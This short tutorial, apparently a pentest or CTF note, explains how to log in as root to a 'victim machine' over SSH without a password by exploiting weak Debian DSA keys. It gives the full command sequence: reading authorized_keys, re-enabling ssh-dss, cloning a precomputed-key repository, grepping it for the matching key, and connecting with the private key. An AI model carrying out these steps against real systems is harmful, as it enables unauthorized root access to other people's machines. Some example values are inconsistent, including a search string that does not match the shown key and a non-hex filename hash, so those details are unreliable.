Using SSH-DSS authorized keys to login to SSH Server without password

For this method to work, you need to have the authorized key of the victim machine

cat authorized_keys

ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTs................................ 

SSH-DSS is disabled on new versions of SSH, so you need to enable it

nano /etc/ssh/ssh_config

PubkeyAcceptedKeyTypes +ssh-dss

git clone https://github.com/g0tmi1k/debian-ssh
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2

cd /dss/1024

Copy first few characters from the authorized keys and we going to search for the key from the list of keys we downloaded earlier

grep -lr 'AAAAB3Ndskkdsjhfodsi4m5adsa6d5s8RadSsdsWassd3rhf6gySd2sdS34rW'

you can see some file with random characters with .pub file; ex: e2eb2172a62d0d7e40f210g6167f65ca-12345.pub

But, what we need is not a public key - we need private key to login :)

so, search for it again

ls -la | grep e2eb2172a62d0

Now you can see two files one private key and one public key;

use e2eb2172a62d0d7e40f210g6167f65ca-12345 Private key to login with ssh

chmod 400 e2eb2172a62d0d7e40f210g6167f65ca-12345

ssh -i e2eb2172a62d0d7e40f210g6167f65ca-12345 root@IP_Address